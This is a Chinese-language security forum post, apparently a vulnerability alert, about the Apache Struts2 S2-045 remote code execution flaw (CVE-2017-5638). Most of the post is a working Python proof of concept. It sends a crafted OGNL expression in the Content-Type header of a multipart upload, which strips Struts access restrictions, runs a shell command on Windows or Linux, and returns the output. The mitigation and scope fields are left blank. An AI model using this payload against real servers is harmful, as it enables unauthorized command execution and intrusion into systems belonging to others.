云夕阁安全社区

标题: CVE-2017-5638:基于 Jakarta plugin插件的Struts远程代码执行漏洞 [打印本页]

作者: 漏洞预警-01    时间: 2017-3-7 09:18
标题: CVE-2017-5638:基于 Jakarta plugin插件的Struts远程代码执行漏洞
Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵
有关该漏洞详情如下:
漏洞编号:  
CVE-2017-5638


漏洞名称:  
基于 Jakarta plugin插件的Struts远程代码执行漏洞


官方评级:  
高危  


漏洞描述:  
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。


漏洞利用条件和方式:
黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。  


漏洞影响范围:
漏洞修复建议(或缓解措施):


POC:
  1. #! /usr/bin/env python
  2. # encoding:utf-8
  3. import urllib2
  4. import sys
  5. from poster.encode import multipart_encode
  6. from poster.streaminghttp import register_openers



  7. def poc():
  8.     register_openers()
  9.     datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
  10.     header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
  11.     header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
  12.     request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
  13.     response = urllib2.urlopen(request)
  14.     print response.read()




  15. poc()
复制代码



提醒:在升级前请做好快照备份。

情报来源:


struct045.rar (1.03 KB, 下载次数: 1)








欢迎光临 云夕阁安全社区 (http://bbs.yunxige.org/) Powered by Discuz! X3.2